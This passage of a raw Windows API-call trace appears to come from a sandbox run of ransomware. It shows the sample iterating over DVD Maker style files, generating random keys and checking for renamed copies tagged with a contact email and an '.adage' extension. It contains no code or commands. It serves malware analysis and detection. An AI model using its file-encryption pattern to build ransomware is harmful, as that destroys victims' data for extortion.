(lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.265] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=237298) returned 1 [0057.266] CloseHandle (hObject=0x174) returned 1 [0057.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv")) returned 0x20 [0057.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.266] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.266] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=269322) returned 1 [0057.266] CloseHandle (hObject=0x174) returned 1 [0057.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv")) returned 0x20 [0057.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.267] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.268] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3525) returned 1 [0057.268] CloseHandle (hObject=0x174) returned 1 [0057.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png")) returned 0x20 [0057.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.268] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.268] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3580) returned 1 [0057.268] CloseHandle (hObject=0x174) returned 1 [0057.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png")) returned 0x20 [0057.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.269] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.269] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3595) returned 1 [0057.269] CloseHandle (hObject=0x174) returned 1 [0057.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png")) returned 0x20 [0057.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.269] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.270] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1885) returned 1 [0057.270] CloseHandle (hObject=0x174) returned 1 [0057.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png")) returned 0x20 [0057.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.270] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.271] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1375) returned 1 [0057.271] CloseHandle (hObject=0x174) returned 1 [0057.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png")) returned 0x20 [0057.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.271] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.271] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=581394) returned 1 [0057.271] CloseHandle (hObject=0x174) returned 1 [0057.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png")) returned 0x20 [0057.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.272] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.272] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=49904) returned 1 [0057.272] CloseHandle (hObject=0x174) returned 1 [0057.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png")) returned 0x20 [0057.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.273] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.273] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=47300) returned 1 [0057.273] CloseHandle (hObject=0x174) returned 1 [0057.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png")) returned 0x20 [0057.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.273] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.274] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=77208) returned 1 [0057.274] CloseHandle (hObject=0x174) returned 1 [0057.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv")) returned 0x20 [0057.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.275] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.275] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=85208) returned 1 [0057.275] CloseHandle (hObject=0x174) returned 1 [0057.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv")) returned 0x20 [0057.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.275] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.275] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=157208) returned 1 [0057.275] CloseHandle (hObject=0x174) returned 1 [0057.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv")) returned 0x20 [0057.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.276] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.276] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=165208) returned 1 [0057.276] CloseHandle (hObject=0x174) returned 1 [0057.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv")) returned 0x20 [0057.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.276] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.287] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=189214) returned 1 [0057.287] CloseHandle (hObject=0x174) returned 1 [0057.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv")) returned 0x20 [0057.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.287] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.287] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=237208) returned 1 [0057.287] CloseHandle (hObject=0x174) returned 1 [0057.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv")) returned 0x20 [0057.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd 